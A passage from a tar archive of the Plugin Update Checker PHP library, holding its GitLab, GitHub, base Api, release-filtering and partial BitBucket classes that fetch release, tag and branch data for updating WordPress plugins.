if ( count($segments) > 0 ) { $this->repositoryHost = trailingslashit($this->repositoryHost) . implode('/', $segments); } //Add subgroups to username. if ( $subgroup !== null ) { $this->userName = $usernameRepo[0] . '/' . untrailingslashit($subgroup); } } parent::__construct($repositoryUrl, $accessToken); } /** * Get the latest release from GitLab. * * @return Reference|null */ public function getLatestRelease() { $releases = $this->api('/:id/releases', array('per_page' => $this->releaseFilterMaxReleases)); if ( is_wp_error($releases) || empty($releases) || !is_array($releases) ) { return null; } foreach ($releases as $release) { if ( //Skip invalid/unsupported releases. !is_object($release) || !isset($release->tag_name) //Skip upcoming releases. || ( !empty($release->upcoming_release) && $this->shouldSkipPreReleases() ) ) { continue; } $versionNumber = ltrim($release->tag_name, 'v'); //Remove the "v" prefix from "v1.2.3". //Apply custom filters. if ( !$this->matchesCustomReleaseFilter($versionNumber, $release) ) { continue; } $downloadUrl = $this->findReleaseDownloadUrl($release); if ( empty($downloadUrl) ) { //The latest release doesn't have valid download URL. return null; } if ( !empty($this->accessToken) ) { $downloadUrl = add_query_arg('private_token', $this->accessToken, $downloadUrl); } return new Reference(array( 'name' => $release->tag_name, 'version' => $versionNumber, 'downloadUrl' => $downloadUrl, 'updated' => $release->released_at, 'apiResponse' => $release, )); } return null; } /** * @param object $release * @return string|null */ protected function findReleaseDownloadUrl($release) { if ( $this->releaseAssetsEnabled ) { if ( isset($release->assets, $release->assets->links) ) { //Use the first asset link where the URL matches the filter. foreach ($release->assets->links as $link) { if ( $this->matchesAssetFilter($link) ) { return $link->url; } } } if ( $this->releaseAssetPreference === Api::REQUIRE_RELEASE_ASSETS ) { //Falling back to source archives is not allowed, so give up. return null; } } //Use the first source code archive that's in ZIP format. foreach ($release->assets->sources as $source) { if ( isset($source->format) && ($source->format === 'zip') ) { return $source->url; } } return null; } /** * Get the tag that looks like the highest version number. * * @return Reference|null */ public function getLatestTag() { $tags = $this->api('/:id/repository/tags'); if ( is_wp_error($tags) || empty($tags) || !is_array($tags) ) { return null; } $versionTags = $this->sortTagsByVersion($tags); if ( empty($versionTags) ) { return null; } $tag = $versionTags[0]; return new Reference(array( 'name' => $tag->name, 'version' => ltrim($tag->name, 'v'), 'downloadUrl' => $this->buildArchiveDownloadUrl($tag->name), 'apiResponse' => $tag, )); } /** * Get a branch by name. * * @param string $branchName * @return null|Reference */ public function getBranch($branchName) { $branch = $this->api('/:id/repository/branches/' . $branchName); if ( is_wp_error($branch) || empty($branch) ) { return null; } $reference = new Reference(array( 'name' => $branch->name, 'downloadUrl' => $this->buildArchiveDownloadUrl($branch->name), 'apiResponse' => $branch, )); if ( isset($branch->commit, $branch->commit->committed_date) ) { $reference->updated = $branch->commit->committed_date; } return $reference; } /** * Get the timestamp of the latest commit that changed the specified branch or tag. * * @param string $ref Reference name (e.g. branch or tag). * @return string|null */ public function getLatestCommitTime($ref) { $commits = $this->api('/:id/repository/commits/', array('ref_name' => $ref)); if ( is_wp_error($commits) || !is_array($commits) || !isset($commits[0]) ) { return null; } return $commits[0]->committed_date; } /** * Perform a GitLab API request. * * @param string $url * @param array $queryParams * @return mixed|\WP_Error */ protected function api($url, $queryParams = array()) { $baseUrl = $url; $url = $this->buildApiUrl($url, $queryParams); $options = array('timeout' => wp_doing_cron() ? 10 : 3); if ( !empty($this->httpFilterName) ) { $options = apply_filters($this->httpFilterName, $options); } $response = wp_remote_get($url, $options); if ( is_wp_error($response) ) { do_action('puc_api_error', $response, null, $url, $this->slug); return $response; } $code = wp_remote_retrieve_response_code($response); $body = wp_remote_retrieve_body($response); if ( $code === 200 ) { return json_decode($body); } $error = new \WP_Error( 'puc-gitlab-http-error', sprintf('GitLab API error. URL: "%s", HTTP status code: %d.', $baseUrl, $code) ); do_action('puc_api_error', $error, $response, $url, $this->slug); return $error; } /** * Build a fully qualified URL for an API request. * * @param string $url * @param array $queryParams * @return string */ protected function buildApiUrl($url, $queryParams) { $variables = array( 'user' => $this->userName, 'repo' => $this->repositoryName, 'id' => $this->userName . '/' . $this->repositoryName, ); foreach ($variables as $name => $value) { $url = str_replace("/:{$name}", '/' . urlencode($value), $url); } $url = substr($url, 1); $url = sprintf('%1$s://%2$s/api/v4/projects/%3$s', $this->repositoryProtocol, $this->repositoryHost, $url); if ( !empty($this->accessToken) ) { $queryParams['private_token'] = $this->accessToken; } if ( !empty($queryParams) ) { $url = add_query_arg($queryParams, $url); } return $url; } /** * Get the contents of a file from a specific branch or tag. * * @param string $path File name. * @param string $ref * @return null|string Either the contents of the file, or null if the file doesn't exist or there's an error. */ public function getRemoteFile($path, $ref = 'master') { $response = $this->api('/:id/repository/files/' . $path, array('ref' => $ref)); if ( is_wp_error($response) || !isset($response->content) || $response->encoding !== 'base64' ) { return null; } return base64_decode($response->content); } /** * Generate a URL to download a ZIP archive of the specified branch/tag/etc. * * @param string $ref * @return string */ public function buildArchiveDownloadUrl($ref = 'master') { $url = sprintf( '%1$s://%2$s/api/v4/projects/%3$s/repository/archive.zip', $this->repositoryProtocol, $this->repositoryHost, urlencode($this->userName . '/' . $this->repositoryName) ); $url = add_query_arg('sha', urlencode($ref), $url); if ( !empty($this->accessToken) ) { $url = add_query_arg('private_token', $this->accessToken, $url); } return $url; } /** * Get a specific tag. * * @param string $tagName * @return void */ public function getTag($tagName) { throw new \LogicException('The ' . __METHOD__ . ' method is not implemented and should not be used.'); } protected function getUpdateDetectionStrategies($configBranch) { $strategies = array(); if ( ($configBranch === 'main') || ($configBranch === 'master') ) { $strategies[self::STRATEGY_LATEST_RELEASE] = array($this, 'getLatestRelease'); $strategies[self::STRATEGY_LATEST_TAG] = array($this, 'getLatestTag'); } $strategies[self::STRATEGY_BRANCH] = function () use ($configBranch) { return $this->getBranch($configBranch); }; return $strategies; } public function setAuthentication($credentials) { parent::setAuthentication($credentials); $this->accessToken = is_string($credentials) ? $credentials : null; } /** * Use release assets that link to GitLab generic packages (e.g. .zip files) * instead of automatically generated source archives. * * This is included for backwards compatibility with older versions of PUC. * * @return void * @deprecated Use enableReleaseAssets() instead. * @noinspection PhpUnused -- Public API */ public function enableReleasePackages() { $this->enableReleaseAssets( /** @lang RegExp */ '/\.zip($|[?&#])/i', Api::REQUIRE_RELEASE_ASSETS ); } protected function getFilterableAssetName($releaseAsset) { if ( isset($releaseAsset->url) ) { return $releaseAsset->url; } return null; } } endif; �������������������������������������������������������update-checker/Puc/v5p2/Vcs/GitHubApi.php�����������������������������������������������������������0000644�����������������00000032654�14757771437�0014073 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace YahnisElsts\PluginUpdateChecker\v5p2\Vcs; use Parsedown; if ( !class_exists(GitHubApi::class, false) ): class GitHubApi extends Api { use ReleaseAssetSupport; use ReleaseFilteringFeature; /** * @var string GitHub username. */ protected $userName; /** * @var string GitHub repository name. */ protected $repositoryName; /** * @var string Either a fully qualified repository URL, or just "user/repo-name". */ protected $repositoryUrl; /** * @var string GitHub authentication token. Optional. */ protected $accessToken; /** * @var bool */ private $downloadFilterAdded = false; public function __construct($repositoryUrl, $accessToken = null) { $path = wp_parse_url($repositoryUrl, PHP_URL_PATH); if ( preg_match('@^/?(?P<username>[^/]+?)/(?P<repository>[^/#?&]+?)/?$@', $path, $matches) ) { $this->userName = $matches['username']; $this->repositoryName = $matches['repository']; } else { throw new \InvalidArgumentException('Invalid GitHub repository URL: "' . $repositoryUrl . '"'); } parent::__construct($repositoryUrl, $accessToken); } /** * Get the latest release from GitHub. * * @return Reference|null */ public function getLatestRelease() { //The "latest release" endpoint returns one release and always skips pre-releases, //so we can only use it if that's compatible with the current filter settings. if ( $this->shouldSkipPreReleases() && ( ($this->releaseFilterMaxReleases === 1) || !$this->hasCustomReleaseFilter() ) ) { //Just get the latest release. $release = $this->api('/repos/:user/:repo/releases/latest'); if ( is_wp_error($release) || !is_object($release) || !isset($release->tag_name) ) { return null; } $foundReleases = array($release); } else { //Get a list of the most recent releases. $foundReleases = $this->api( '/repos/:user/:repo/releases', array('per_page' => $this->releaseFilterMaxReleases) ); if ( is_wp_error($foundReleases) || !is_array($foundReleases) ) { return null; } } foreach ($foundReleases as $release) { //Always skip drafts. if ( isset($release->draft) && !empty($release->draft) ) { continue; } //Skip pre-releases unless specifically included. if ( $this->shouldSkipPreReleases() && isset($release->prerelease) && !empty($release->prerelease) ) { continue; } $versionNumber = ltrim($release->tag_name, 'v'); //Remove the "v" prefix from "v1.2.3". //Custom release filtering. if ( !$this->matchesCustomReleaseFilter($versionNumber, $release) ) { continue; } $reference = new Reference(array( 'name' => $release->tag_name, 'version' => $versionNumber, 'downloadUrl' => $release->zipball_url, 'updated' => $release->created_at, 'apiResponse' => $release, )); if ( isset($release->assets[0]) ) { $reference->downloadCount = $release->assets[0]->download_count; } if ( $this->releaseAssetsEnabled ) { //Use the first release asset that matches the specified regular expression. if ( isset($release->assets, $release->assets[0]) ) { $matchingAssets = array_values(array_filter($release->assets, array($this, 'matchesAssetFilter'))); } else { $matchingAssets = array(); } if ( !empty($matchingAssets) ) { if ( $this->isAuthenticationEnabled() ) { /** * Keep in mind that we'll need to add an "Accept" header to download this asset. * * @see setUpdateDownloadHeaders() */ $reference->downloadUrl = $matchingAssets[0]->url; } else { //It seems that browser_download_url only works for public repositories. //Using an access_token doesn't help. Maybe OAuth would work? $reference->downloadUrl = $matchingAssets[0]->browser_download_url; } $reference->downloadCount = $matchingAssets[0]->download_count; } else if ( $this->releaseAssetPreference === Api::REQUIRE_RELEASE_ASSETS ) { //None of the assets match the filter, and we're not allowed //to fall back to the auto-generated source ZIP. return null; } } if ( !empty($release->body) ) { $reference->changelog = Parsedown::instance()->text($release->body); } return $reference; } return null; } /** * Get the tag that looks like the highest version number. * * @return Reference|null */ public function getLatestTag() { $tags = $this->api('/repos/:user/:repo/tags'); if ( is_wp_error($tags) || !is_array($tags) ) { return null; } $versionTags = $this->sortTagsByVersion($tags); if ( empty($versionTags) ) { return null; } $tag = $versionTags[0]; return new Reference(array( 'name' => $tag->name, 'version' => ltrim($tag->name, 'v'), 'downloadUrl' => $tag->zipball_url, 'apiResponse' => $tag, )); } /** * Get a branch by name. * * @param string $branchName * @return null|Reference */ public function getBranch($branchName) { $branch = $this->api('/repos/:user/:repo/branches/' . $branchName); if ( is_wp_error($branch) || empty($branch) ) { return null; } $reference = new Reference(array( 'name' => $branch->name, 'downloadUrl' => $this->buildArchiveDownloadUrl($branch->name), 'apiResponse' => $branch, )); if ( isset($branch->commit, $branch->commit->commit, $branch->commit->commit->author->date) ) { $reference->updated = $branch->commit->commit->author->date; } return $reference; } /** * Get the latest commit that changed the specified file. * * @param string $filename * @param string $ref Reference name (e.g. branch or tag). * @return \StdClass|null */ public function getLatestCommit($filename, $ref = 'master') { $commits = $this->api( '/repos/:user/:repo/commits', array( 'path' => $filename, 'sha' => $ref, ) ); if ( !is_wp_error($commits) && isset($commits[0]) ) { return $commits[0]; } return null; } /** * Get the timestamp of the latest commit that changed the specified branch or tag. * * @param string $ref Reference name (e.g. branch or tag). * @return string|null */ public function getLatestCommitTime($ref) { $commits = $this->api('/repos/:user/:repo/commits', array('sha' => $ref)); if ( !is_wp_error($commits) && isset($commits[0]) ) { return $commits[0]->commit->author->date; } return null; } /** * Perform a GitHub API request. * * @param string $url * @param array $queryParams * @return mixed|\WP_Error */ protected function api($url, $queryParams = array()) { $baseUrl = $url; $url = $this->buildApiUrl($url, $queryParams); $options = array('timeout' => wp_doing_cron() ? 10 : 3); if ( $this->isAuthenticationEnabled() ) { $options['headers'] = array('Authorization' => $this->getAuthorizationHeader()); } if ( !empty($this->httpFilterName) ) { $options = apply_filters($this->httpFilterName, $options); } $response = wp_remote_get($url, $options); if ( is_wp_error($response) ) { do_action('puc_api_error', $response, null, $url, $this->slug); return $response; } $code = wp_remote_retrieve_response_code($response); $body = wp_remote_retrieve_body($response); if ( $code === 200 ) { $document = json_decode($body); return $document; } $error = new \WP_Error( 'puc-github-http-error', sprintf('GitHub API error. Base URL: "%s", HTTP status code: %d.', $baseUrl, $code) ); do_action('puc_api_error', $error, $response, $url, $this->slug); return $error; } /** * Build a fully qualified URL for an API request. * * @param string $url * @param array $queryParams * @return string */ protected function buildApiUrl($url, $queryParams) { $variables = array( 'user' => $this->userName, 'repo' => $this->repositoryName, ); foreach ($variables as $name => $value) { $url = str_replace('/:' . $name, '/' . urlencode($value), $url); } $url = 'https://api.github.com' . $url; if ( !empty($queryParams) ) { $url = add_query_arg($queryParams, $url); } return $url; } /** * Get the contents of a file from a specific branch or tag. * * @param string $path File name. * @param string $ref * @return null|string Either the contents of the file, or null if the file doesn't exist or there's an error. */ public function getRemoteFile($path, $ref = 'master') { $apiUrl = '/repos/:user/:repo/contents/' . $path; $response = $this->api($apiUrl, array('ref' => $ref)); if ( is_wp_error($response) || !isset($response->content) || ($response->encoding !== 'base64') ) { return null; } return base64_decode($response->content); } /** * Generate a URL to download a ZIP archive of the specified branch/tag/etc. * * @param string $ref * @return string */ public function buildArchiveDownloadUrl($ref = 'master') { $url = sprintf( 'https://api.github.com/repos/%1$s/%2$s/zipball/%3$s', urlencode($this->userName), urlencode($this->repositoryName), urlencode($ref) ); return $url; } /** * Get a specific tag. * * @param string $tagName * @return void */ public function getTag($tagName) { //The current GitHub update checker doesn't use getTag, so I didn't bother to implement it. throw new \LogicException('The ' . __METHOD__ . ' method is not implemented and should not be used.'); } public function setAuthentication($credentials) { parent::setAuthentication($credentials); $this->accessToken = is_string($credentials) ? $credentials : null; //Optimization: Instead of filtering all HTTP requests, let's do it only when //WordPress is about to download an update. add_filter('upgrader_pre_download', array($this, 'addHttpRequestFilter'), 10, 1); //WP 3.7+ } protected function getUpdateDetectionStrategies($configBranch) { $strategies = array(); if ( $configBranch === 'master' || $configBranch === 'main') { //Use the latest release. $strategies[self::STRATEGY_LATEST_RELEASE] = array($this, 'getLatestRelease'); //Failing that, use the tag with the highest version number. $strategies[self::STRATEGY_LATEST_TAG] = array($this, 'getLatestTag'); } //Alternatively, just use the branch itself. $strategies[self::STRATEGY_BRANCH] = function () use ($configBranch) { return $this->getBranch($configBranch); }; return $strategies; } /** * Get the unchanging part of a release asset URL. Used to identify download attempts. * * @return string */ protected function getAssetApiBaseUrl() { return sprintf( '//api.github.com/repos/%1$s/%2$s/releases/assets/', $this->userName, $this->repositoryName ); } protected function getFilterableAssetName($releaseAsset) { if ( isset($releaseAsset->name) ) { return $releaseAsset->name; } return null; } /** * @param bool $result * @return bool * @internal */ public function addHttpRequestFilter($result) { if ( !$this->downloadFilterAdded && $this->isAuthenticationEnabled() ) { //phpcs:ignore WordPressVIPMinimum.Hooks.RestrictedHooks.http_request_args -- The callback doesn't change the timeout. add_filter('http_request_args', array($this, 'setUpdateDownloadHeaders'), 10, 2); add_action('requests-requests.before_redirect', array($this, 'removeAuthHeaderFromRedirects'), 10, 4); $this->downloadFilterAdded = true; } return $result; } /** * Set the HTTP headers that are necessary to download updates from private repositories. * * See GitHub docs: * * @link https://developer.github.com/v3/repos/releases/#get-a-single-release-asset * @link https://developer.github.com/v3/auth/#basic-authentication * * @internal * @param array $requestArgs * @param string $url * @return array */ public function setUpdateDownloadHeaders($requestArgs, $url = '') { //Is WordPress trying to download one of our release assets? if ( $this->releaseAssetsEnabled && (strpos($url, $this->getAssetApiBaseUrl()) !== false) ) { $requestArgs['headers']['Accept'] = 'application/octet-stream'; } //Use Basic authentication, but only if the download is from our repository. $repoApiBaseUrl = $this->buildApiUrl('/repos/:user/:repo/', array()); if ( $this->isAuthenticationEnabled() && (strpos($url, $repoApiBaseUrl)) === 0 ) { $requestArgs['headers']['Authorization'] = $this->getAuthorizationHeader(); } return $requestArgs; } /** * When following a redirect, the Requests library will automatically forward * the authorization header to other hosts. We don't want that because it breaks * AWS downloads and can leak authorization information. * * @param string $location * @param array $headers * @internal */ public function removeAuthHeaderFromRedirects(&$location, &$headers) { $repoApiBaseUrl = $this->buildApiUrl('/repos/:user/:repo/', array()); if ( strpos($location, $repoApiBaseUrl) === 0 ) { return; //This request is going to GitHub, so it's fine. } //Remove the header. if ( isset($headers['Authorization']) ) { unset($headers['Authorization']); } } /** * Generate the value of the "Authorization" header. * * @return string */ protected function getAuthorizationHeader() { return 'Basic ' . base64_encode($this->userName . ':' . $this->accessToken); } } endif; ������������������������������������������������������������������������������������update-checker/Puc/v5p2/Vcs/Api.php�����������������������������������������������������������������0000644�����������������00000023235�14757771437�0012763 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace YahnisElsts\PluginUpdateChecker\v5p2\Vcs; use Parsedown; use PucReadmeParser; if ( !class_exists(Api::class, false) ): abstract class Api { const STRATEGY_LATEST_RELEASE = 'latest_release'; const STRATEGY_LATEST_TAG = 'latest_tag'; const STRATEGY_STABLE_TAG = 'stable_tag'; const STRATEGY_BRANCH = 'branch'; /** * Consider all releases regardless of their version number or prerelease/upcoming * release status. */ const RELEASE_FILTER_ALL = 3; /** * Exclude releases that have the "prerelease" or "upcoming release" flag. * * This does *not* look for prerelease keywords like "beta" in the version number. * It only uses the data provided by the API. For example, on GitHub, you can * manually mark a release as a prerelease. */ const RELEASE_FILTER_SKIP_PRERELEASE = 1; /** * If there are no release assets or none of them match the configured filter, * fall back to the automatically generated source code archive. */ const PREFER_RELEASE_ASSETS = 1; /** * Skip releases that don't have any matching release assets. */ const REQUIRE_RELEASE_ASSETS = 2; protected $tagNameProperty = 'name'; protected $slug = ''; /** * @var string */ protected $repositoryUrl = ''; /** * @var mixed Authentication details for private repositories. Format depends on service. */ protected $credentials = null; /** * @var string The filter tag that's used to filter options passed to wp_remote_get. * For example, "puc_request_info_options-slug" or "puc_request_update_options_theme-slug". */ protected $httpFilterName = ''; /** * @var string The filter applied to the list of update detection strategies that * are used to find the latest version. */ protected $strategyFilterName = ''; /** * @var string|null */ protected $localDirectory = null; /** * Api constructor. * * @param string $repositoryUrl * @param array|string|null $credentials */ public function __construct($repositoryUrl, $credentials = null) { $this->repositoryUrl = $repositoryUrl; $this->setAuthentication($credentials); } /** * @return string */ public function getRepositoryUrl() { return $this->repositoryUrl; } /** * Figure out which reference (i.e. tag or branch) contains the latest version. * * @param string $configBranch Start looking in this branch. * @return null|Reference */ public function chooseReference($configBranch) { $strategies = $this->getUpdateDetectionStrategies($configBranch); if ( !empty($this->strategyFilterName) ) { $strategies = apply_filters( $this->strategyFilterName, $strategies, $this->slug ); } foreach ($strategies as $strategy) { $reference = call_user_func($strategy); if ( !empty($reference) ) { return $reference; } } return null; } /** * Get an ordered list of strategies that can be used to find the latest version. * * The update checker will try each strategy in order until one of them * returns a valid reference. * * @param string $configBranch * @return array<callable> Array of callables that return Vcs_Reference objects. */ abstract protected function getUpdateDetectionStrategies($configBranch); /** * Get the readme.txt file from the remote repository and parse it * according to the plugin readme standard. * * @param string $ref Tag or branch name. * @return array Parsed readme. */ public function getRemoteReadme($ref = 'master') { $fileContents = $this->getRemoteFile($this->getLocalReadmeName(), $ref); if ( empty($fileContents) ) { return array(); } $parser = new PucReadmeParser(); return $parser->parse_readme_contents($fileContents); } /** * Get the case-sensitive name of the local readme.txt file. * * In most cases it should just be called "readme.txt", but some plugins call it "README.txt", * "README.TXT", or even "Readme.txt". Most VCS are case-sensitive so we need to know the correct * capitalization. * * Defaults to "readme.txt" (all lowercase). * * @return string */ public function getLocalReadmeName() { static $fileName = null; if ( $fileName !== null ) { return $fileName; } $fileName = 'readme.txt'; if ( isset($this->localDirectory) ) { $files = scandir($this->localDirectory); if ( !empty($files) ) { foreach ($files as $possibleFileName) { if ( strcasecmp($possibleFileName, 'readme.txt') === 0 ) { $fileName = $possibleFileName; break; } } } } return $fileName; } /** * Get a branch. * * @param string $branchName * @return Reference|null */ abstract public function getBranch($branchName); /** * Get a specific tag. * * @param string $tagName * @return Reference|null */ abstract public function getTag($tagName); /** * Get the tag that looks like the highest version number. * (Implementations should skip pre-release versions if possible.) * * @return Reference|null */ abstract public function getLatestTag(); /** * Check if a tag name string looks like a version number. * * @param string $name * @return bool */ protected function looksLikeVersion($name) { //Tag names may be prefixed with "v", e.g. "v1.2.3". $name = ltrim($name, 'v'); //The version string must start with a number. if ( !is_numeric(substr($name, 0, 1)) ) { return false; } //The goal is to accept any SemVer-compatible or "PHP-standardized" version number. return (preg_match('@^(\d{1,5}?)(\.\d{1,10}?){0,4}?($|[abrdp+_\-]|\s)@i', $name) === 1); } /** * Check if a tag appears to be named like a version number. * * @param \stdClass $tag * @return bool */ protected function isVersionTag($tag) { $property = $this->tagNameProperty; return isset($tag->$property) && $this->looksLikeVersion($tag->$property); } /** * Sort a list of tags as if they were version numbers. * Tags that don't look like version number will be removed. * * @param \stdClass[] $tags Array of tag objects. * @return \stdClass[] Filtered array of tags sorted in descending order. */ protected function sortTagsByVersion($tags) { //Keep only those tags that look like version numbers. $versionTags = array_filter($tags, array($this, 'isVersionTag')); //Sort them in descending order. usort($versionTags, array($this, 'compareTagNames')); return $versionTags; } /** * Compare two tags as if they were version number. * * @param \stdClass $tag1 Tag object. * @param \stdClass $tag2 Another tag object. * @return int */ protected function compareTagNames($tag1, $tag2) { $property = $this->tagNameProperty; if ( !isset($tag1->$property) ) { return 1; } if ( !isset($tag2->$property) ) { return -1; } return -version_compare(ltrim($tag1->$property, 'v'), ltrim($tag2->$property, 'v')); } /** * Get the contents of a file from a specific branch or tag. * * @param string $path File name. * @param string $ref * @return null|string Either the contents of the file, or null if the file doesn't exist or there's an error. */ abstract public function getRemoteFile($path, $ref = 'master'); /** * Get the timestamp of the latest commit that changed the specified branch or tag. * * @param string $ref Reference name (e.g. branch or tag). * @return string|null */ abstract public function getLatestCommitTime($ref); /** * Get the contents of the changelog file from the repository. * * @param string $ref * @param string $localDirectory Full path to the local plugin or theme directory. * @return null|string The HTML contents of the changelog. */ public function getRemoteChangelog($ref, $localDirectory) { $filename = $this->findChangelogName($localDirectory); if ( empty($filename) ) { return null; } $changelog = $this->getRemoteFile($filename, $ref); if ( $changelog === null ) { return null; } return Parsedown::instance()->text($changelog); } /** * Guess the name of the changelog file. * * @param string $directory * @return string|null */ protected function findChangelogName($directory = null) { if ( !isset($directory) ) { $directory = $this->localDirectory; } if ( empty($directory) || !is_dir($directory) || ($directory === '.') ) { return null; } $possibleNames = array('CHANGES.md', 'CHANGELOG.md', 'changes.md', 'changelog.md'); $files = scandir($directory); $foundNames = array_intersect($possibleNames, $files); if ( !empty($foundNames) ) { return reset($foundNames); } return null; } /** * Set authentication credentials. * * @param $credentials */ public function setAuthentication($credentials) { $this->credentials = $credentials; } public function isAuthenticationEnabled() { return !empty($this->credentials); } /** * @param string $url * @return string */ public function signDownloadUrl($url) { return $url; } /** * @param string $filterName */ public function setHttpFilterName($filterName) { $this->httpFilterName = $filterName; } /** * @param string $filterName */ public function setStrategyFilterName($filterName) { $this->strategyFilterName = $filterName; } /** * @param string $directory */ public function setLocalDirectory($directory) { if ( empty($directory) || !is_dir($directory) || ($directory === '.') ) { $this->localDirectory = null; } else { $this->localDirectory = $directory; } } /** * @param string $slug */ public function setSlug($slug) { $this->slug = $slug; } } endif; �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/Puc/v5p2/Vcs/ReleaseFilteringFeature.php���������������������������������������������0000644�����������������00000006154�14757771437�0017013 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace YahnisElsts\PluginUpdateChecker\v5p2\Vcs; if ( !trait_exists(ReleaseFilteringFeature::class, false) ) : trait ReleaseFilteringFeature { /** * @var callable|null */ protected $releaseFilterCallback = null; /** * @var int */ protected $releaseFilterMaxReleases = 1; /** * @var string One of the Api::RELEASE_FILTER_* constants. */ protected $releaseFilterByType = Api::RELEASE_FILTER_SKIP_PRERELEASE; /** * Set a custom release filter. * * Setting a new filter will override the old filter, if any. * * @param callable $callback A callback that accepts a version number and a release * object, and returns a boolean. * @param int $releaseTypes One of the Api::RELEASE_FILTER_* constants. * @param int $maxReleases Optional. The maximum number of recent releases to examine * when trying to find a release that matches the filter. 1 to 100. * @return $this */ public function setReleaseFilter( $callback, $releaseTypes = Api::RELEASE_FILTER_SKIP_PRERELEASE, $maxReleases = 20 ) { if ( $maxReleases > 100 ) { throw new \InvalidArgumentException(sprintf( 'The max number of releases is too high (%d). It must be 100 or less.', $maxReleases )); } else if ( $maxReleases < 1 ) { throw new \InvalidArgumentException(sprintf( 'The max number of releases is too low (%d). It must be at least 1.', $maxReleases )); } $this->releaseFilterCallback = $callback; $this->releaseFilterByType = $releaseTypes; $this->releaseFilterMaxReleases = $maxReleases; return $this; } /** * Filter releases by their version number. * * @param string $regex A regular expression. The release version number must match this regex. * @param int $releaseTypes * @param int $maxReleasesToExamine * @return $this * @noinspection PhpUnused -- Public API */ public function setReleaseVersionFilter( $regex, $releaseTypes = Api::RELEASE_FILTER_SKIP_PRERELEASE, $maxReleasesToExamine = 20 ) { return $this->setReleaseFilter( function ($versionNumber) use ($regex) { return (preg_match($regex, $versionNumber) === 1); }, $releaseTypes, $maxReleasesToExamine ); } /** * @param string $versionNumber The detected release version number. * @param object $releaseObject Varies depending on the host/API. * @return bool */ protected function matchesCustomReleaseFilter($versionNumber, $releaseObject) { if ( !is_callable($this->releaseFilterCallback) ) { return true; //No custom filter. } return call_user_func($this->releaseFilterCallback, $versionNumber, $releaseObject); } /** * @return bool */ protected function shouldSkipPreReleases() { //Maybe this could be a bitfield in the future, if we need to support //more release types. return ($this->releaseFilterByType !== Api::RELEASE_FILTER_ALL); } /** * @return bool */ protected function hasCustomReleaseFilter() { return isset($this->releaseFilterCallback) && is_callable($this->releaseFilterCallback); } } endif;��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/Puc/v5p2/Vcs/BitBucketApi.php��������������������������������������������������������0000644�����������������00000016272�14757771437�0014563 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace YahnisElsts\PluginUpdateChecker\v5p2\Vcs; use YahnisElsts\PluginUpdateChecker\v5p2\OAuthSignature; use YahnisElsts\PluginUpdateChecker\v5p2\Utils; if ( !class_exists(BitBucketApi::class, false) ): class BitBucketApi extends Api { /** * @var OAuthSignature */ private $oauth = null; /** * @var string */ private $username; /** * @var string */ private $repository; public function __construct($repositoryUrl, $credentials = array()) { $path = wp_parse_url($repositoryUrl, PHP_URL_PATH); if ( preg_match('@^/?(?P<username>[^/]+?)/(?P<repository>[^/#?&]+?)/?$@', $path, $matches) ) { $this->username = $matches['username']; $this->repository = $matches['repository']; } else { throw new \InvalidArgumentException('Invalid BitBucket repository URL: "' . $repositoryUrl . '"'); } parent::__construct($repositoryUrl, $credentials); } protected function getUpdateDetectionStrategies($configBranch) { $strategies = array( self::STRATEGY_STABLE_TAG => function () use ($configBranch) { return $this->getStableTag($configBranch); }, ); if ( ($configBranch === 'master' || $configBranch === 'main') ) { $strategies[self::STRATEGY_LATEST_TAG] = array($this, 'getLatestTag'); } $strategies[self::STRATEGY_BRANCH] = function () use ($configBranch) { return $this->getBranch($configBranch); }; return $strategies; } public function getBranch($branchName) { $branch = $this->api('/refs/branches/' . $branchName); if ( is_wp_error($branch) || empty($branch) ) { return null; } //The "/src/{stuff}/{path}" endpoint doesn't seem to handle branch names that contain slashes. //If we don't encode the slash, we get a 404. If we encode it as "%2F", we get a 401. //To avoid issues, if the branch name is not URL-safe, let's use the commit hash instead. $ref = $branch->name; if ((urlencode($ref) !== $ref) && isset($branch->target->hash)) { $ref = $branch->target->hash; } return new Reference(array( 'name' => $ref, 'updated' => $branch->target->date, 'downloadUrl' => $this->getDownloadUrl($branch->name), )); } /** * Get a specific tag. * * @param string $tagName * @return Reference|null */ public function getTag($tagName) { $tag = $this->api('/refs/tags/' . $tagName); if ( is_wp_error($tag) || empty($tag) ) { return null; } return new Reference(array( 'name' => $tag->name, 'version' => ltrim($tag->name, 'v'), 'updated' => $tag->target->date, 'downloadUrl' => $this->getDownloadUrl($tag->name), )); } /** * Get the tag that looks like the highest version number. * * @return Reference|null */ public function getLatestTag() { $tags = $this->api('/refs/tags?sort=-target.date'); if ( !isset($tags, $tags->values) || !is_array($tags->values) ) { return null; } //Filter and sort the list of tags. $versionTags = $this->sortTagsByVersion($tags->values); //Return the first result. if ( !empty($versionTags) ) { $tag = $versionTags[0]; return new Reference(array( 'name' => $tag->name, 'version' => ltrim($tag->name, 'v'), 'updated' => $tag->target->date, 'downloadUrl' => $this->getDownloadUrl($tag->name), )); } return null; } /** * Get the tag/ref specified by the "Stable tag" header in the readme.txt of a given branch. * * @param string $branch * @return null|Reference */ protected function getStableTag($branch) { $remoteReadme = $this->getRemoteReadme($branch); if ( !empty($remoteReadme['stable_tag']) ) { $tag = $remoteReadme['stable_tag']; //You can explicitly opt out of using tags by setting "Stable tag" to //"trunk" or the name of the current branch. if ( ($tag === $branch) || ($tag === 'trunk') ) { return $this->getBranch($branch); } return $this->getTag($tag); } return null; } /** * @param string $ref * @return string */ protected function getDownloadUrl($ref) { return sprintf( 'https://bitbucket.org/%s/%s/get/%s.zip', $this->username, $this->repository, $ref ); } /** * Get the contents of a file from a specific branch or tag. * * @param string $path File name. * @param string $ref * @return null|string Either the contents of the file, or null if the file doesn't exist or there's an error. */ public function getRemoteFile($path, $ref = 'master') { $response = $this->api('src/' . $ref . '/' . ltrim($path)); if ( is_wp_error($response) || !is_string($response) ) { return null; } return $response; } /** * Get the 